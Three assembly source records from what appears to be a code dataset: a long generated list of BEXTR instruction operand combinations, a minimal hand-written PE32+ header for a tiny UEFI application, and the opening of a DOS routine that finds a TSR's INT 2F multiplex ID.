bextr r15d, [r9d], r12d
bextr r15d, [r9d], r13d
bextr r15d, [r9d], r14d
bextr r15d, [r9d], r15d
bextr r15d, [r9d], esp
bextr r15d, [r9d], esi
bextr r15d, [r9d], ebp
bextr r15d, [r10d], eax
bextr r15d, [r10d], ebx
bextr r15d, [r10d], ecx
bextr r15d, [r10d], edx
bextr r15d, [r10d], edi
bextr r15d, [r10d], r8d
bextr r15d, [r10d], r9d
bextr r15d, [r10d], r10d
bextr r15d, [r10d], r11d
bextr r15d, [r10d], r12d
bextr r15d, [r10d], r13d
bextr r15d, [r10d], r14d
bextr r15d, [r10d], r15d
bextr r15d, [r10d], esp
bextr r15d, [r10d], esi
bextr r15d, [r10d], ebp
bextr r15d, [r11d], eax
bextr r15d, [r11d], ebx
bextr r15d, [r11d], ecx
bextr r15d, [r11d], edx
bextr r15d, [r11d], edi
bextr r15d, [r11d], r8d
bextr r15d, [r11d], r9d
bextr r15d, [r11d], r10d
bextr r15d, [r11d], r11d
bextr r15d, [r11d], r12d
bextr r15d, [r11d], r13d
bextr r15d, [r11d], r14d
bextr r15d, [r11d], r15d
bextr r15d, [r11d], esp
bextr r15d, [r11d], esi
bextr r15d, [r11d], ebp
bextr r15d, [r12d], eax
bextr r15d, [r12d], ebx
bextr r15d, [r12d], ecx
bextr r15d, [r12d], edx
bextr r15d, [r12d], edi
bextr r15d, [r12d], r8d
bextr r15d, [r12d], r9d
bextr r15d, [r12d], r10d
bextr r15d, [r12d], r11d
bextr r15d, [r12d], r12d
bextr r15d, [r12d], r13d
bextr r15d, [r12d], r14d
bextr r15d, [r12d], r15d
bextr r15d, [r12d], esp
bextr r15d, [r12d], esi
bextr r15d, [r12d], ebp
bextr r15d, [r13d], eax
bextr r15d, [r13d], ebx
bextr r15d, [r13d], ecx
bextr r15d, [r13d], edx
bextr r15d, [r13d], edi
bextr r15d, [r13d], r8d
bextr r15d, [r13d], r9d
bextr r15d, [r13d], r10d
bextr r15d, [r13d], r11d
bextr r15d, [r13d], r12d
bextr r15d, [r13d], r13d
bextr r15d, [r13d], r14d
bextr r15d, [r13d], r15d
bextr r15d, [r13d], esp
bextr r15d, [r13d], esi
bextr r15d, [r13d], ebp
bextr r15d, [r14d], eax
bextr r15d, [r14d], ebx
bextr r15d, [r14d], ecx
bextr r15d, [r14d], edx
bextr r15d, [r14d], edi
bextr r15d, [r14d], r8d
bextr r15d, [r14d], r9d
bextr r15d, [r14d], r10d
bextr r15d, [r14d], r11d
bextr r15d, [r14d], r12d
bextr r15d, [r14d], r13d
bextr r15d, [r14d], r14d
bextr r15d, [r14d], r15d
bextr r15d, [r14d], esp
bextr r15d, [r14d], esi
bextr r15d, [r14d], ebp
bextr r15d, [r15d], eax
bextr r15d, [r15d], ebx
bextr r15d, [r15d], ecx
bextr r15d, [r15d], edx
bextr r15d, [r15d], edi
bextr r15d, [r15d], r8d
bextr r15d, [r15d], r9d
bextr r15d, [r15d], r10d
bextr r15d, [r15d], r11d
bextr r15d, [r15d], r12d
bextr r15d, [r15d], r13d
bextr r15d, [r15d], r14d
bextr r15d, [r15d], r15d
bextr r15d, [r15d], esp
bextr r15d, [r15d], esi
bextr r15d, [r15d], ebp
bextr r15d, [esp], eax
bextr r15d, [esp], ebx
bextr r15d, [esp], ecx
bextr r15d, [esp], edx
bextr r15d, [esp], edi
bextr r15d, [esp], r8d
bextr r15d, [esp], r9d
bextr r15d, [esp], r10d
bextr r15d, [esp], r11d
bextr r15d, [esp], r12d
bextr r15d, [esp], r13d
bextr r15d, [esp], r14d
bextr r15d, [esp], r15d
bextr r15d, [esp], esp
bextr r15d, [esp], esi
bextr r15d, [esp], ebp
bextr r15d, [esi], eax
bextr r15d, [esi], ebx
bextr r15d, [esi], ecx
bextr r15d, [esi], edx
bextr r15d, [esi], edi
bextr r15d, [esi], r8d
bextr r15d, [esi], r9d
bextr r15d, [esi], r10d
bextr r15d, [esi], r11d
bextr r15d, [esi], r12d
bextr r15d, [esi], r13d
bextr r15d, [esi], r14d
bextr r15d, [esi], r15d
bextr r15d, [esi], esp
bextr r15d, [esi], esi
bextr r15d, [esi], ebp
bextr r15d, [ebp], eax
bextr r15d, [ebp], ebx
bextr r15d, [ebp], ecx
bextr r15d, [ebp], edx
bextr r15d, [ebp], edi
bextr r15d, [ebp], r8d
bextr r15d, [ebp], r9d
bextr r15d, [ebp], r10d
bextr r15d, [ebp], r11d
bextr r15d, [ebp], r12d
bextr r15d, [ebp], r13d
bextr r15d, [ebp], r14d
bextr r15d, [ebp], r15d
bextr r15d, [ebp], esp
bextr r15d, [ebp], esi
bextr r15d, [ebp], ebp
bextr esp, [eax], eax
bextr esp, [eax], ebx
bextr esp, [eax], ecx
bextr esp, [eax], edx
bextr esp, [eax], edi
bextr esp, [eax], r8d
bextr esp, [eax], r9d
bextr esp, [eax], r10d
bextr esp, [eax], r11d
bextr esp, [eax], r12d
bextr esp, [eax], r13d
bextr esp, [eax], r14d
bextr esp, [eax], r15d
bextr esp, [eax], esp
bextr esp, [eax], esi
bextr esp, [eax], ebp
bextr esp, [ebx], eax
bextr esp, [ebx], ebx
bextr esp, [ebx], ecx
bextr esp, [ebx], edx
bextr esp, [ebx], edi
bextr esp, [ebx], r8d
bextr esp, [ebx], r9d
bextr esp, [ebx], r10d
bextr esp, [ebx], r11d
bextr esp, [ebx], r12d
bextr esp, [ebx], r13d
bextr esp, [ebx], r14d
bextr esp, [ebx], r15d
bextr esp, [ebx], esp
bextr esp, [ebx], esi
bextr esp, [ebx], ebp
bextr esp, [ecx], eax
bextr esp, [ecx], ebx
bextr esp, [ecx], ecx
bextr esp, [ecx], edx
bextr esp, [ecx], edi
bextr esp, [ecx], r8d
bextr esp, [ecx], r9d
bextr esp, [ecx], r10d
bextr esp, [ecx], r11d
bextr esp, [ecx], r12d
bextr esp, [ecx], r13d
bextr esp, [ecx], r14d
bextr esp, [ecx], r15d
bextr esp, [ecx], esp
bextr esp, [ecx], esi
bextr esp, [ecx], ebp
bextr esp, [edx], eax
bextr esp, [edx], ebx
bextr esp, [edx], ecx
bextr esp, [edx], edx
bextr esp, [edx], edi
bextr esp, [edx], r8d
bextr esp, [edx], r9d
bextr esp, [edx], r10d
bextr esp, [edx], r11d
bextr esp, [edx], r12d
bextr esp, [edx], r13d
bextr esp, [edx], r14d
bextr esp, [edx], r15d
bextr esp, [edx], esp
bextr esp, [edx], esi
bextr esp, [edx], ebp
bextr esp, [edi], eax
bextr esp, [edi], ebx
bextr esp, [edi], ecx
bextr esp, [edi], edx
bextr esp, [edi], edi
bextr esp, [edi], r8d
bextr esp, [edi], r9d
bextr esp, [edi], r10d
bextr esp, [edi], r11d
bextr esp, [edi], r12d
bextr esp, [edi], r13d
bextr esp, [edi], r14d
bextr esp, [edi], r15d
bextr esp, [edi], esp
bextr esp, [edi], esi
bextr esp, [edi], ebp
bextr esp, [r8d], eax
bextr esp, [r8d], ebx
bextr esp, [r8d], ecx
bextr esp, [r8d], edx
bextr esp, [r8d], edi
bextr esp, [r8d], r8d
bextr esp, [r8d], r9d
bextr esp, [r8d], r10d
bextr esp, [r8d], r11d
bextr esp, [r8d], r12d
bextr esp, [r8d], r13d
bextr esp, [r8d], r14d
bextr esp, [r8d], r15d
bextr esp, [r8d], esp
bextr esp, [r8d], esi
bextr esp, [r8d], ebp
bextr esp, [r9d], eax
bextr esp, [r9d], ebx
bextr esp, [r9d], ecx
bextr esp, [r9d], edx
bextr esp, [r9d], edi
bextr esp, [r9d], r8d
bextr esp, [r9d], r9d
bextr esp, [r9d], r10d
bextr esp, [r9d], r11d
bextr esp, [r9d], r12d
bextr esp, [r9d], r13d
bextr esp, [r9d], r14d
bextr esp, [r9d], r15d
bextr esp, [r9d], esp
bextr esp, [r9d], esi
bextr esp, [r9d], ebp
bextr esp, [r10d], eax
bextr esp, [r10d], ebx
bextr esp, [r10d], ecx
bextr esp, [r10d], edx
bextr esp, [r10d], edi
bextr esp, [r10d], r8d
bextr esp, [r10d], r9d
bextr esp, [r10d], r10d
bextr esp, [r10d], r11d
bextr esp, [r10d], r12d
bextr esp, [r10d], r13d
bextr esp, [r10d], r14d
bextr esp, [r10d], r15d
bextr esp, [r10d], esp
bextr esp, [r10d], esi
bextr esp, [r10d], ebp
bextr esp, [r11d], eax
bextr esp, [r11d], ebx
bextr esp, [r11d], ecx
bextr esp, [r11d], edx
bextr esp, [r11d], edi
bextr esp, [r11d], r8d
bextr esp, [r11d], r9d
bextr esp, [r11d], r10d
bextr esp, [r11d], r11d
bextr esp, [r11d], r12d
bextr esp, [r11d], r13d
bextr esp, [r11d], r14d
bextr esp, [r11d], r15d
bextr esp, [r11d], esp
bextr esp, [r11d], esi
bextr esp, [r11d], ebp
bextr esp, [r12d], eax
bextr esp, [r12d], ebx
bextr esp, [r12d], ecx
bextr esp, [r12d], edx
bextr esp, [r12d], edi
bextr esp, [r12d], r8d
bextr esp, [r12d], r9d
bextr esp, [r12d], r10d
bextr esp, [r12d], r11d
bextr esp, [r12d], r12d
bextr esp, [r12d], r13d
bextr esp, [r12d], r14d
bextr esp, [r12d], r15d
bextr esp, [r12d], esp
bextr esp, [r12d], esi
bextr esp, [r12d], ebp
bextr esp, [r13d], eax
bextr esp, [r13d], ebx
bextr esp, [r13d], ecx
bextr esp, [r13d], edx
bextr esp, [r13d], edi
bextr esp, [r13d], r8d
bextr esp, [r13d], r9d
bextr esp, [r13d], r10d
bextr esp, [r13d], r11d
bextr esp, [r13d], r12d
bextr esp, [r13d], r13d
bextr esp, [r13d], r14d
bextr esp, [r13d], r15d
bextr esp, [r13d], esp
bextr esp, [r13d], esi
bextr esp, [r13d], ebp
bextr esp, [r14d], eax
bextr esp, [r14d], ebx
bextr esp, [r14d], ecx
bextr esp, [r14d], edx
bextr esp, [r14d], edi
bextr esp, [r14d], r8d
bextr esp, [r14d], r9d
bextr esp, [r14d], r10d
bextr esp, [r14d], r11d
bextr esp, [r14d], r12d
bextr esp, [r14d], r13d
bextr esp, [r14d], r14d
bextr esp, [r14d], r15d
bextr esp, [r14d], esp
bextr esp, [r14d], esi
bextr esp, [r14d], ebp
bextr esp, [r15d], eax
bextr esp, [r15d], ebx
bextr esp, [r15d], ecx
bextr esp, [r15d], edx
bextr esp, [r15d], edi
bextr esp, [r15d], r8d
bextr esp, [r15d], r9d
bextr esp, [r15d], r10d
bextr esp, [r15d], r11d
bextr esp, [r15d], r12d
bextr esp, [r15d], r13d
bextr esp, [r15d], r14d
bextr esp, [r15d], r15d
bextr esp, [r15d], esp
bextr esp, [r15d], esi
bextr esp, [r15d], ebp
bextr esp, [esp], eax
bextr esp, [esp], ebx
bextr esp, [esp], ecx
bextr esp, [esp], edx
bextr esp, [esp], edi
bextr esp, [esp], r8d
bextr esp, [esp], r9d
bextr esp, [esp], r10d
bextr esp, [esp], r11d
bextr esp, [esp], r12d
bextr esp, [esp], r13d
bextr esp, [esp], r14d
bextr esp, [esp], r15d
bextr esp, [esp], esp
bextr esp, [esp], esi
bextr esp, [esp], ebp
bextr esp, [esi], eax
bextr esp, [esi], ebx
bextr esp, [esi], ecx
bextr esp, [esi], edx
bextr esp, [esi], edi
bextr esp, [esi], r8d
bextr esp, [esi], r9d
bextr esp, [esi], r10d
bextr esp, [esi], r11d
bextr esp, [esi], r12d
bextr esp, [esi], r13d
bextr esp, [esi], r14d
bextr esp, [esi], r15d
bextr esp, [esi], esp
bextr esp, [esi], esi
bextr esp, [esi], ebp
bextr esp, [ebp], eax
bextr esp, [ebp], ebx
bextr esp, [ebp], ecx
bextr esp, [ebp], edx
bextr esp, [ebp], edi
bextr esp, [ebp], r8d
bextr esp, [ebp], r9d
bextr esp, [ebp], r10d
bextr esp, [ebp], r11d
bextr esp, [ebp], r12d
bextr esp, [ebp], r13d
bextr esp, [ebp], r14d
bextr esp, [ebp], r15d
bextr esp, [ebp], esp
bextr esp, [ebp], esi
bextr esp, [ebp], ebp
bextr esi, [eax], eax
bextr esi, [eax], ebx
bextr esi, [eax], ecx
bextr esi, [eax], edx
bextr esi, [eax], edi
bextr esi, [eax], r8d
bextr esi, [eax], r9d
bextr esi, [eax], r10d
bextr esi, [eax], r11d
bextr esi, [eax], r12d
bextr esi, [eax], r13d
bextr esi, [eax], r14d
bextr esi, [eax], r15d
bextr esi, [eax], esp
bextr esi, [eax], esi
bextr esi, [eax], ebp
bextr esi, [ebx], eax
bextr esi, [ebx], ebx
bextr esi, [ebx], ecx
bextr esi, [ebx], edx
bextr esi, [ebx], edi
bextr esi, [ebx], r8d
bextr esi, [ebx], r9d
bextr esi, [ebx], r10d
bextr esi, [ebx], r11d
bextr esi, [ebx], r12d
bextr esi, [ebx], r13d
bextr esi, [ebx], r14d
bextr esi, [ebx], r15d
bextr esi, [ebx], esp
bextr esi, [ebx], esi
bextr esi, [ebx], ebp
bextr esi, [ecx], eax
bextr esi, [ecx], ebx
bextr esi, [ecx], ecx
bextr esi, [ecx], edx
bextr esi, [ecx], edi
bextr esi, [ecx], r8d
bextr esi, [ecx], r9d
bextr esi, [ecx], r10d
bextr esi, [ecx], r11d
bextr esi, [ecx], r12d
bextr esi, [ecx], r13d
bextr esi, [ecx], r14d
bextr esi, [ecx], r15d
bextr esi, [ecx], esp
bextr esi, [ecx], esi
bextr esi, [ecx], ebp
bextr esi, [edx], eax
bextr esi, [edx], ebx
bextr esi, [edx], ecx
bextr esi, [edx], edx
bextr esi, [edx], edi
bextr esi, [edx], r8d
bextr esi, [edx], r9d
bextr esi, [edx], r10d
bextr esi, [edx], r11d
bextr esi, [edx], r12d
bextr esi, [edx], r13d
bextr esi, [edx], r14d
bextr esi, [edx], r15d
bextr esi, [edx], esp
bextr esi, [edx], esi
bextr esi, [edx], ebp
bextr esi, [edi], eax
bextr esi, [edi], ebx
bextr esi, [edi], ecx
bextr esi, [edi], edx
bextr esi, [edi], edi
bextr esi, [edi], r8d
bextr esi, [edi], r9d
bextr esi, [edi], r10d
bextr esi, [edi], r11d
bextr esi, [edi], r12d
bextr esi, [edi], r13d
bextr esi, [edi], r14d
bextr esi, [edi], r15d
bextr esi, [edi], esp
bextr esi, [edi], esi
bextr esi, [edi], ebp
bextr esi, [r8d], eax
bextr esi, [r8d], ebx
bextr esi, [r8d], ecx
bextr esi, [r8d], edx
bextr esi, [r8d], edi
bextr esi, [r8d], r8d
bextr esi, [r8d], r9d
bextr esi, [r8d], r10d
bextr esi, [r8d], r11d
bextr esi, [r8d], r12d
bextr esi, [r8d], r13d
bextr esi, [r8d], r14d
bextr esi, [r8d], r15d
bextr esi, [r8d], esp
bextr esi, [r8d], esi
bextr esi, [r8d], ebp
bextr esi, [r9d], eax
bextr esi, [r9d], ebx
bextr esi, [r9d], ecx
bextr esi, [r9d], edx
bextr esi, [r9d], edi
bextr esi, [r9d], r8d
bextr esi, [r9d], r9d
bextr esi, [r9d], r10d
bextr esi, [r9d], r11d
bextr esi, [r9d], r12d
bextr esi, [r9d], r13d
bextr esi, [r9d], r14d
bextr esi, [r9d], r15d
bextr esi, [r9d], esp
bextr esi, [r9d], esi
bextr esi, [r9d], ebp
bextr esi, [r10d], eax
bextr esi, [r10d], ebx
bextr esi, [r10d], ecx
bextr esi, [r10d], edx
bextr esi, [r10d], edi
bextr esi, [r10d], r8d
bextr esi, [r10d], r9d
bextr esi, [r10d], r10d
bextr esi, [r10d], r11d
bextr esi, [r10d], r12d
bextr esi, [r10d], r13d
bextr esi, [r10d], r14d
bextr esi, [r10d], r15d
bextr esi, [r10d], esp
bextr esi, [r10d], esi
bextr esi, [r10d], ebp
bextr esi, [r11d], eax
bextr esi, [r11d], ebx
bextr esi, [r11d], ecx
bextr esi, [r11d], edx
bextr esi, [r11d], edi
bextr esi, [r11d], r8d
bextr esi, [r11d], r9d
bextr esi, [r11d], r10d
bextr esi, [r11d], r11d
bextr esi, [r11d], r12d
bextr esi, [r11d], r13d
bextr esi, [r11d], r14d
bextr esi, [r11d], r15d
bextr esi, [r11d], esp
bextr esi, [r11d], esi
bextr esi, [r11d], ebp
bextr esi, [r12d], eax
bextr esi, [r12d], ebx
bextr esi, [r12d], ecx
bextr esi, [r12d], edx
bextr esi, [r12d], edi
bextr esi, [r12d], r8d
bextr esi, [r12d], r9d
bextr esi, [r12d], r10d
bextr esi, [r12d], r11d
bextr esi, [r12d], r12d
bextr esi, [r12d], r13d
bextr esi, [r12d], r14d
bextr esi, [r12d], r15d
bextr esi, [r12d], esp
bextr esi, [r12d], esi
bextr esi, [r12d], ebp
bextr esi, [r13d], eax
bextr esi, [r13d], ebx
bextr esi, [r13d], ecx
bextr esi, [r13d], edx
bextr esi, [r13d], edi
bextr esi, [r13d], r8d
bextr esi, [r13d], r9d
bextr esi, [r13d], r10d
bextr esi, [r13d], r11d
bextr esi, [r13d], r12d
bextr esi, [r13d], r13d
bextr esi, [r13d], r14d
bextr esi, [r13d], r15d
bextr esi, [r13d], esp
bextr esi, [r13d], esi
bextr esi, [r13d], ebp
bextr esi, [r14d], eax
bextr esi, [r14d], ebx
bextr esi, [r14d], ecx
bextr esi, [r14d], edx
bextr esi, [r14d], edi
bextr esi, [r14d], r8d
bextr esi, [r14d], r9d
bextr esi, [r14d], r10d
bextr esi, [r14d], r11d
bextr esi, [r14d], r12d
bextr esi, [r14d], r13d
bextr esi, [r14d], r14d
bextr esi, [r14d], r15d
bextr esi, [r14d], esp
bextr esi, [r14d], esi
bextr esi, [r14d], ebp
bextr esi, [r15d], eax
bextr esi, [r15d], ebx
bextr esi, [r15d], ecx
bextr esi, [r15d], edx
bextr esi, [r15d], edi
bextr esi, [r15d], r8d
bextr esi, [r15d], r9d
bextr esi, [r15d], r10d
bextr esi, [r15d], r11d
bextr esi, [r15d], r12d
bextr esi, [r15d], r13d
bextr esi, [r15d], r14d
bextr esi, [r15d], r15d
bextr esi, [r15d], esp
bextr esi, [r15d], esi
bextr esi, [r15d], ebp
bextr esi, [esp], eax
bextr esi, [esp], ebx
bextr esi, [esp], ecx
bextr esi, [esp], edx
bextr esi, [esp], edi
bextr esi, [esp], r8d
bextr esi, [esp], r9d
bextr esi, [esp], r10d
bextr esi, [esp], r11d
bextr esi, [esp], r12d
bextr esi, [esp], r13d
bextr esi, [esp], r14d
bextr esi, [esp], r15d
bextr esi, [esp], esp
bextr esi, [esp], esi
bextr esi, [esp], ebp
bextr esi, [esi], eax
bextr esi, [esi], ebx
bextr esi, [esi], ecx
bextr esi, [esi], edx
bextr esi, [esi], edi
bextr esi, [esi], r8d
bextr esi, [esi], r9d
bextr esi, [esi], r10d
bextr esi, [esi], r11d
bextr esi, [esi], r12d
bextr esi, [esi], r13d
bextr esi, [esi], r14d
bextr esi, [esi], r15d
bextr esi, [esi], esp
bextr esi, [esi], esi
bextr esi, [esi], ebp
bextr esi, [ebp], eax
bextr esi, [ebp], ebx
bextr esi, [ebp], ecx
bextr esi, [ebp], edx
bextr esi, [ebp], edi
bextr esi, [ebp], r8d
bextr esi, [ebp], r9d
bextr esi, [ebp], r10d
bextr esi, [ebp], r11d
bextr esi, [ebp], r12d
bextr esi, [ebp], r13d
bextr esi, [ebp], r14d
bextr esi, [ebp], r15d
bextr esi, [ebp], esp
bextr esi, [ebp], esi
bextr esi, [ebp], ebp
bextr ebp, [eax], eax
bextr ebp, [eax], ebx
bextr ebp, [eax], ecx
bextr ebp, [eax], edx
bextr ebp, [eax], edi
bextr ebp, [eax], r8d
bextr ebp, [eax], r9d
bextr ebp, [eax], r10d
bextr ebp, [eax], r11d
bextr ebp, [eax], r12d
bextr ebp, [eax], r13d
bextr ebp, [eax], r14d
bextr ebp, [eax], r15d
bextr ebp, [eax], esp
bextr ebp, [eax], esi
bextr ebp, [eax], ebp
bextr ebp, [ebx], eax
bextr ebp, [ebx], ebx
bextr ebp, [ebx], ecx
bextr ebp, [ebx], edx
bextr ebp, [ebx], edi
bextr ebp, [ebx], r8d
bextr ebp, [ebx], r9d
bextr ebp, [ebx], r10d
bextr ebp, [ebx], r11d
bextr ebp, [ebx], r12d
bextr ebp, [ebx], r13d
bextr ebp, [ebx], r14d
bextr ebp, [ebx], r15d
bextr ebp, [ebx], esp
bextr ebp, [ebx], esi
bextr ebp, [ebx], ebp
bextr ebp, [ecx], eax
bextr ebp, [ecx], ebx
bextr ebp, [ecx], ecx
bextr ebp, [ecx], edx
bextr ebp, [ecx], edi
bextr ebp, [ecx], r8d
bextr ebp, [ecx], r9d
bextr ebp, [ecx], r10d
bextr ebp, [ecx], r11d
bextr ebp, [ecx], r12d
bextr ebp, [ecx], r13d
bextr ebp, [ecx], r14d
bextr ebp, [ecx], r15d
bextr ebp, [ecx], esp
bextr ebp, [ecx], esi
bextr ebp, [ecx], ebp
bextr ebp, [edx], eax
bextr ebp, [edx], ebx
bextr ebp, [edx], ecx
bextr ebp, [edx], edx
bextr ebp, [edx], edi
bextr ebp, [edx], r8d
bextr ebp, [edx], r9d
bextr ebp, [edx], r10d
bextr ebp, [edx], r11d
bextr ebp, [edx], r12d
bextr ebp, [edx], r13d
bextr ebp, [edx], r14d
bextr ebp, [edx], r15d
bextr ebp, [edx], esp
bextr ebp, [edx], esi
bextr ebp, [edx], ebp
bextr ebp, [edi], eax
bextr ebp, [edi], ebx
bextr ebp, [edi], ecx
bextr ebp, [edi], edx
bextr ebp, [edi], edi
bextr ebp, [edi], r8d
bextr ebp, [edi], r9d
bextr ebp, [edi], r10d
bextr ebp, [edi], r11d
bextr ebp, [edi], r12d
bextr ebp, [edi], r13d
bextr ebp, [edi], r14d
bextr ebp, [edi], r15d
bextr ebp, [edi], esp
bextr ebp, [edi], esi
bextr ebp, [edi], ebp
bextr ebp, [r8d], eax
bextr ebp, [r8d], ebx
bextr ebp, [r8d], ecx
bextr ebp, [r8d], edx
bextr ebp, [r8d], edi
bextr ebp, [r8d], r8d
bextr ebp, [r8d], r9d
bextr ebp, [r8d], r10d
bextr ebp, [r8d], r11d
bextr ebp, [r8d], r12d
bextr ebp, [r8d], r13d
bextr ebp, [r8d], r14d
bextr ebp, [r8d], r15d
bextr ebp, [r8d], esp
bextr ebp, [r8d], esi
bextr ebp, [r8d], ebp
bextr ebp, [r9d], eax
bextr ebp, [r9d], ebx
bextr ebp, [r9d], ecx
bextr ebp, [r9d], edx
bextr ebp, [r9d], edi
bextr ebp, [r9d], r8d
bextr ebp, [r9d], r9d
bextr ebp, [r9d], r10d
bextr ebp, [r9d], r11d
bextr ebp, [r9d], r12d
bextr ebp, [r9d], r13d
bextr ebp, [r9d], r14d
bextr ebp, [r9d], r15d
bextr ebp, [r9d], esp
bextr ebp, [r9d], esi
bextr ebp, [r9d], ebp
bextr ebp, [r10d], eax
bextr ebp, [r10d], ebx
bextr ebp, [r10d], ecx
bextr ebp, [r10d], edx
bextr ebp, [r10d], edi
bextr ebp, [r10d], r8d
bextr ebp, [r10d], r9d
bextr ebp, [r10d], r10d
bextr ebp, [r10d], r11d
bextr ebp, [r10d], r12d
bextr ebp, [r10d], r13d
bextr ebp, [r10d], r14d
bextr ebp, [r10d], r15d
bextr ebp, [r10d], esp
bextr ebp, [r10d], esi
bextr ebp, [r10d], ebp
bextr ebp, [r11d], eax
bextr ebp, [r11d], ebx
bextr ebp, [r11d], ecx
bextr ebp, [r11d], edx
bextr ebp, [r11d], edi
bextr ebp, [r11d], r8d
bextr ebp, [r11d], r9d
bextr ebp, [r11d], r10d
bextr ebp, [r11d], r11d
bextr ebp, [r11d], r12d
bextr ebp, [r11d], r13d
bextr ebp, [r11d], r14d
bextr ebp, [r11d], r15d
bextr ebp, [r11d], esp
bextr ebp, [r11d], esi
bextr ebp, [r11d], ebp
bextr ebp, [r12d], eax
bextr ebp, [r12d], ebx
bextr ebp, [r12d], ecx
bextr ebp, [r12d], edx
bextr ebp, [r12d], edi
bextr ebp, [r12d], r8d
bextr ebp, [r12d], r9d
bextr ebp, [r12d], r10d
bextr ebp, [r12d], r11d
bextr ebp, [r12d], r12d
bextr ebp, [r12d], r13d
bextr ebp, [r12d], r14d
bextr ebp, [r12d], r15d
bextr ebp, [r12d], esp
bextr ebp, [r12d], esi
bextr ebp, [r12d], ebp
bextr ebp, [r13d], eax
bextr ebp, [r13d], ebx
bextr ebp, [r13d], ecx
bextr ebp, [r13d], edx
bextr ebp, [r13d], edi
bextr ebp, [r13d], r8d
bextr ebp, [r13d], r9d
bextr ebp, [r13d], r10d
bextr ebp, [r13d], r11d
bextr ebp, [r13d], r12d
bextr ebp, [r13d], r13d
bextr ebp, [r13d], r14d
bextr ebp, [r13d], r15d
bextr ebp, [r13d], esp
bextr ebp, [r13d], esi
bextr ebp, [r13d], ebp
bextr ebp, [r14d], eax
bextr ebp, [r14d], ebx
bextr ebp, [r14d], ecx
bextr ebp, [r14d], edx
bextr ebp, [r14d], edi
bextr ebp, [r14d], r8d
bextr ebp, [r14d], r9d
bextr ebp, [r14d], r10d
bextr ebp, [r14d], r11d
bextr ebp, [r14d], r12d
bextr ebp, [r14d], r13d
bextr ebp, [r14d], r14d
bextr ebp, [r14d], r15d
bextr ebp, [r14d], esp
bextr ebp, [r14d], esi
bextr ebp, [r14d], ebp
bextr ebp, [r15d], eax
bextr ebp, [r15d], ebx
bextr ebp, [r15d], ecx
bextr ebp, [r15d], edx
bextr ebp, [r15d], edi
bextr ebp, [r15d], r8d
bextr ebp, [r15d], r9d
bextr ebp, [r15d], r10d
bextr ebp, [r15d], r11d
bextr ebp, [r15d], r12d
bextr ebp, [r15d], r13d
bextr ebp, [r15d], r14d
bextr ebp, [r15d], r15d
bextr ebp, [r15d], esp
bextr ebp, [r15d], esi
bextr ebp, [r15d], ebp
bextr ebp, [esp], eax
bextr ebp, [esp], ebx
bextr ebp, [esp], ecx
bextr ebp, [esp], edx
bextr ebp, [esp], edi
bextr ebp, [esp], r8d
bextr ebp, [esp], r9d
bextr ebp, [esp], r10d
bextr ebp, [esp], r11d
bextr ebp, [esp], r12d
bextr ebp, [esp], r13d
bextr ebp, [esp], r14d
bextr ebp, [esp], r15d
bextr ebp, [esp], esp
bextr ebp, [esp], esi
bextr ebp, [esp], ebp
bextr ebp, [esi], eax
bextr ebp, [esi], ebx
bextr ebp, [esi], ecx
bextr ebp, [esi], edx
bextr ebp, [esi], edi
bextr ebp, [esi], r8d
bextr ebp, [esi], r9d
bextr ebp, [esi], r10d
bextr ebp, [esi], r11d
bextr ebp, [esi], r12d
bextr ebp, [esi], r13d
bextr ebp, [esi], r14d
bextr ebp, [esi], r15d
bextr ebp, [esi], esp
bextr ebp, [esi], esi
bextr ebp, [esi], ebp
bextr ebp, [ebp], eax
bextr ebp, [ebp], ebx
bextr ebp, [ebp], ecx
bextr ebp, [ebp], edx
bextr ebp, [ebp], edi
bextr ebp, [ebp], r8d
bextr ebp, [ebp], r9d
bextr ebp, [ebp], r10d
bextr ebp, [ebp], r11d
bextr ebp, [ebp], r12d
bextr ebp, [ebp], r13d
bextr ebp, [ebp], r14d
bextr ebp, [ebp], r15d
bextr ebp, [ebp], esp
bextr ebp, [ebp], esi
bextr ebp, [ebp], ebp |
header.asm | neri/uefi-tiny | 1 | 8101 | <filename>header.asm
org IMAGE_BASE
_BEGIN:
db 'MZ' ; e_magic - <NAME>
dw 0
_PE:
db 'PE', 0, 0
dw 0x8664 ; Machine
dw 1 ; NumberOfSections
dd 0, 0, 0 ; OBSOLETED
dw (_SECTION_HEADER - _OPTIONAL_HEADER) ; SizeOfOptionalHeader
dw 0x0002 ; Characteristics - IMAGE_FILE_EXECUTABLE_IMAGE
_OPTIONAL_HEADER:
dw 0x020B ; PE32+
db 14, 0 ; linker version
dd 0, 0, 0 ; SizeOfCode, SizeOfInitializedData, SizeOfUninitializedData - DEPRECATED?
dd EfiMain - RVA0 ; AddressOfEntryPoint
dd 0 ; BaseOfCode - DEPRECATED?
dq IMAGE_BASE ; ImageBase
dd 4, 4 ; SectionAlignment | e_lfa_new, FileAlignment
dw 6, 0, 0, 0, 6, 0 ; versions
dd 0 ; Win32VersionValue - RESERVED
dd (_END - _TEXT) + RVA_TEXT, (_END_HEADER - _BEGIN) ; SizeOfImage, SizeOfHeaders
dd 0 ; CheckSum
dw 0x0A ; Subsystem - IMAGE_SUBSYSTEM_EFI_APPLICATION
dw 0 ; DllCharacteristics
dq 0x100000, 0x10000, 0x100000, 0x10000 ; SizeOfStackReserve, SizeOfStackCommit, SizeOfHeapReserve, SizeOfHeapCommit
dd 0 ; LoaderFlags - RESERVED MBZ
dd 6 ; NumberOfRvaAndSizes - 16 formal, 6 OVMF's minimal
times 6 dd 0, 0 ; dummy
_SECTION_HEADER:
db ".text", 0, 0, 0 ; Name
dd (_END - _TEXT), RVA_TEXT ; VirtualSize, VirtualAddress
dd (_END - _TEXT), _TEXT - _BEGIN ; SizeOfRawData, PointerToRawData
dd 0, 0, 0 ; OBSOLETED
dd 0x60000020 ; Characteristics - IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
_END_HEADER:
|
C/LoDosLib/find_tsr.asm | p-k-p/SysToolsLib | 232 | 14213 | page 60, 132
;*****************************************************************************;
; ;
; FILE NAME: FIND_TSR.ASM ;
; ;
; DESCRIPTION: Find a TSR int 2F handle ;
; ;
; NOTES: ;
; ;
; HISTORY: ;
; 1994/05/09 JFL Extracted from Mini .COM RESET.ASM. ;
; ;
; (c) Copyright 1993-2017 Hewlett Packard Enterprise Development LP ;
; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ;
;*****************************************************************************;
INCLUDE adefine.inc
.286
.code
;===FUNCTION HEADER===========================================================;
; ;
; NAME: find_tsr ;
; ;
; DESCRIPTION: Find a TSR multiplex ID ;
; ;
; PARAMETERS: ;
; ;
